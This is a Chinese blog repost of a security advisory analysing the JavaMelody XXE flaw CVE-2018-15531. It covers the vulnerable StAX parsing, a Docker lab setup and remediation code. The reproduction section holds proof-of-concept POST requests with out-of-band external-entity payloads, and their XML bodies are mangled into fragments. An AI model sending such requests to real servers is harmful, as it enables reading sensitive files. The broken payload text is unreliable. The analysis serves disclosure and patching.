java最新漏洞_JavaMelody XXE漏洞(CVE-2018-15531)分析

java最新漏洞_JavaMelody XXE漏洞(CVE-2018-15531)分析0x01背景JavaMelody是一款在生产和QA环境中对JAVA应用以及应用服务器(Tomcat、Jboss、Weblogic)进行监控的工具,可以通过图表给出监控数据,方便研发运维等找出响应瓶颈、优化响应等。近日发布了1.74.0版本,修复了一个XXE漏洞,漏洞编号CVE-2018-15531。攻击者利用漏洞,可以读取JavaMelody服务器上的敏感信息。0x02漏洞分析漏洞修复的com…

大家好,又见面了,我是你们的朋友全栈君。

0x01 背景

JavaMelody是一款在生产和QA环境中对JAVA应用以及应用服务器(Tomcat、Jboss、Weblogic)进行监控的工具,可以通过图表给出监控数据,方便研发运维等找出响应瓶颈、优化响应等。

近日发布了1.74.0版本,修复了一个XXE漏洞,漏洞编号CVE-2018-15531。攻击者利用漏洞,可以读取JavaMelody服务器上的敏感信息。

0x02 漏洞分析

漏洞修复的commit地址如下:

增加了两行代码,作用分别是禁用DTD和禁用外部实体,如图所示:

de274cbcdbd3eaa2389799a37f63ae44.png

增加这两行代码之后,攻击者就无法使用XXE漏洞来进行文件读取。

查看修复前的代码文件src/main/java/net/bull/javamelody/PayloadNameRequestWrapper.java,如图:

a9836fdbd7411c6fb1724314b4731fa9.png

使用StAX来对XML进行解析,未禁用DTDs和外部实体,再看看那些地方调用了parseSoapMethodName()方法,如图:

46d97ac7c0e5b4e0418cb62199a13870.png

其中PayloadNameRequestWrapper类的initialize()方法有进行调用,代码片段如下:

a7a35a24008665f9f5751e5f13e798fb.png

从HTTP请求获取请求的Content-Type,如果满足如下两个条件中的任意一个:

1、Content-Type的值为“application/soap+xml”;

2、Content-Type的值为“text/xml”,且HTTP头部中有”SOAPAction”。

就会调用parseSoapMethodName()方法对请求内容进行解析处理,攻击者可以控制Content-Type、请求内容等,最终导致XXE漏洞的产生。

0x03 漏洞测试

漏洞环境搭建

1、docker pull tomcat;

2、修改tomcat镜像,commit为一个新的漏洞环境;

3、下载测试使用的应用包,解压之后将test目录移动到/usr/local/tomcat/webapps目录下,下载地址:

4、下载javamelody-core-1.73.1.jar版本,重命名为javamelody.jar,放到/usr/local/tomcat/webapps/test/WEB-INF/lib/目录下,下载地址:

5、启动tomcat;

6、docker commit生成新的镜像。

漏洞复现

根据对漏洞的分析,可以构造漏洞测试的Http请求,分别如下:POST /test/ HTTP/1.1

Host: 127.0.0.1:8888

Content-Type: text/xml; charset=”utf-8″

SOAPAction: sdfsdfdsf

User-Agent: Mozilla/5.0(Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/68.0.3440.106Safari/537.36

Accept-Encoding: gzip, deflate

Cookie: _ga=GA1.1.1433684353.1533281809; settingStore=1533281841189_0;   ECS[visit_times]=9;   JSESSIONID=CA4182172E388BED1933F3849E846492

Connection: close

Content-Length:142

%aad;

%c;]

>

POST /test/ HTTP/1.1

Host:139.199.99.172:8888

Content-Type: application/soap+xml; charset=”utf-8″

User-Agent: Mozilla/5.0(Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/68.0.3440.106Safari/537.36

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: _ga=GA1.1.1433684353.1533281809; settingStore=1533281841189_0; ECS[visit_times]=9;   JSESSIONID=CA4182172E388BED1933F3849E846492

Connection: close

Content-Length:142

%aad;

%c;]

>

调用了外部实体,根据外部实体请求URL的的日志记录,就可以判断自有业务是否存在漏洞,如图所示:

31b6846e597539a6a1339b733b190501.png

0x04 修复建议

1、升级JavaMelody到1.74.0版本;

2、按照官方漏洞修复方法,使用StAX对XML进行解析时,增加禁用DTDs和外部实体的代码,如下:finalXMLInputFactory   factory = XMLInputFactory.newInstance();

//禁用DTD

factory.setProperty(XMLInputFactory.SUPPORT_DTD,false);

//禁用外部实体

factory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES,false);

finalXMLStreamReader   xmlReader;

0x05 参考链接

本文来自百度安全SiemPent Team,转载请注明出处及本文链接

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/156661.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • flake8 vscode_vscode报错怎么看

    flake8 vscode_vscode报错怎么看在用vscode编译python时,自带的flake8报一些不必要的错误,解决办法:{“python.linting.pylintEnabled”:false,”python.linting.enabled”:true,”python.linting.flake8Enabled”:true,”python.linting.flake8Args”:[“–max-line-length=120″,”–ignore=E4

    2025年11月7日
    6
  • pycharm上方的运行栏隐藏了_pycharm工具栏怎么调出来

    pycharm上方的运行栏隐藏了_pycharm工具栏怎么调出来pycharm顶部菜单栏不见,两种处理方法,处女座福音方法一:踩坑搜索,全网都是这样的:双击Shift键盘,点击Actions,搜索view,找到MainMenu,打开,ok方法二:曲线救国我找了半天,发现能进设置界面,随便点一个进入设置点击快捷键,将主菜单设置一个快捷键,这里我设置的W+W设置完成,应用界面上双击WW,就出现了主菜单,再把主菜单打开,完美。。…

    2022年8月27日
    15
  • STL库 总览_stl库函数

    STL库 总览_stl库函数  STL库1泛型程序设计2STL标准模板库2.1STL库的基本组件2.1.1STL基本组件—-容器2.1.2STL基本组件—-迭代器2.1.3STL基本组件—-函数对象2.1.4STL基本组件—-算法3迭代器4容器的基本功能与分类4.1顺序容器  1泛型程序设计  泛型程序设计就是时候,将程序设计的尽量的通用。STL标准库就是泛型程序设计的一个很好的范例。  ◇编写不依赖具体数据类型的程序;  ◇将算法从特定的数据结构中抽象出来,成为通用的;  ◇

    2022年10月10日
    3
  • velocity语法[通俗易懂]

    velocity语法[通俗易懂]一:基本语法:1.#set(#a="a")$a##输出语句时直接写变量的名称即可2.判断语句:#if($a=="a")##判断语句没有括号,也是

    2022年7月1日
    28
  • 笔记本电脑运行卡顿的真正原因和解决方案视频_笔记本怎么开高性能模式

    笔记本电脑运行卡顿的真正原因和解决方案视频_笔记本怎么开高性能模式只要是联网大型程序运行中出现了卡顿现象,我们总是习惯性的认为这是服务器卡或网络不流畅的问题,然而事实并非如此。尤其是如果你在用笔记本电脑,那么就请先好好找找自己笔记本电脑的问题吧。这个话题特别有意义,因为现在笔记本电脑在大城市普及到几乎小青年人手一台的程度,随着生活节奏不断加快,留给各位在家安安心心用台式机的机会是越来越少了,如何把笔记本电脑调教到运行流畅的效果,让各位工作高效顺利,让各位玩游戏玩

    2025年10月30日
    3
  • Android最常用的控件ListView(详解)

    Android最常用的控件ListView(详解)一.ListView简介在Android开发中,ListView是一个比较常用的控件。它以列表的形式展示具体数据内容,并且能够根据数据的长度自适应屏幕显示。二.ListView简单用法代码部分1.布局界面activity_main.xml代码:<?xmlversion=”1.0″encoding=”utf-8″?><LinearLayoutxmlns:android=”http://schemas.android.com/ap…

    2022年7月22日
    12

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号